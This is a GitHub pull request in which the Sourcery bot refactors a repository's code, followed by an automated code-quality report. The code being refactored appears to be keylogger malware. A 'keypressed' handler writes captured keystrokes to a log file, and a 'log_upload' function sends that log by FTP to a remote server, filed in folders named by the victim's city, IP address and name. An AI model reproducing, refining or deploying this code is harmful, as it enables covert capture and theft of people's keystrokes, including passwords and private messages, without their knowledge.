Sourcery refactored master branch#1
Conversation
| else: | ||
| pass |
There was a problem hiding this comment.
Lines 31-32 refactored with the following changes:
- Remove redundant pass statement (
remove-redundant-pass)
| if victim in ftp.nlst(): | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| if victim not in ftp.nlst(): | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(city) | ||
| ftp.cwd(city) | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR '+ filename, open(f_name, 'rb')) | ||
| ftp.quit() |
There was a problem hiding this comment.
Function log_upload refactored with the following changes:
- Hoist repeated code outside conditional statement (
hoist-statement-from-if) - Hoist repeated code outside conditional statement (
hoist-statement-from-if)
| keys = '\n' | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() | ||
| keys = '\n' | ||
| fp = open(f_name,'a') | ||
| data = keys | ||
| fp.write(data) | ||
| fp.close() |
There was a problem hiding this comment.
Function keypressed refactored with the following changes:
- Replace multiple comparisons of same variable with
inoperator (merge-comparisons)
| if victim in ftp.nlst(): | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| if victim not in ftp.nlst(): | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() | ||
| else: | ||
| ftp.mkd(city) | ||
| ftp.cwd(city) | ||
| ftp.mkd(ip) | ||
| ftp.cwd(ip) | ||
| ftp.mkd(victim) | ||
| ftp.cwd(victim) | ||
| ftp.storbinary('STOR ' + filename, open(x, 'rb')) | ||
| ftp.quit() |
There was a problem hiding this comment.
Function log_upload refactored with the following changes:
- Hoist repeated code outside conditional statement (
hoist-statement-from-if) - Hoist repeated code outside conditional statement (
hoist-statement-from-if)
| elif event.Ascii == 1 or event.Ascii == 3 or event.Ascii == 19 or event.Ascii == 0 or event.Ascii == 24: | ||
| elif event.Ascii in [1, 3, 19, 0, 24]: |
There was a problem hiding this comment.
Function keypressed refactored with the following changes:
- Remove redundant pass statement (
remove-redundant-pass) - Replace multiple comparisons of same variable with
inoperator (merge-comparisons)
Sourcery Code Quality Report (beta)✅ Merging this PR will increase code quality in the affected files by 0.16 out of 10.
Here are some functions in these files that still need a tune-up:
Please see our documentation here for details on how these metrics are calculated. We are actively working on this report - lots more documentation and extra metrics to come! |
Branch
masterrefactored by Sourcery.If you're happy with these changes, merge this Pull Request using the Squash and merge strategy.
See our documentation here.
Run Sourcery locally
Reduce the feedback loop during development by using the Sourcery editor plugin:
Review changes via command line
To manually merge these changes, make sure you're on the
masterbranch, then run: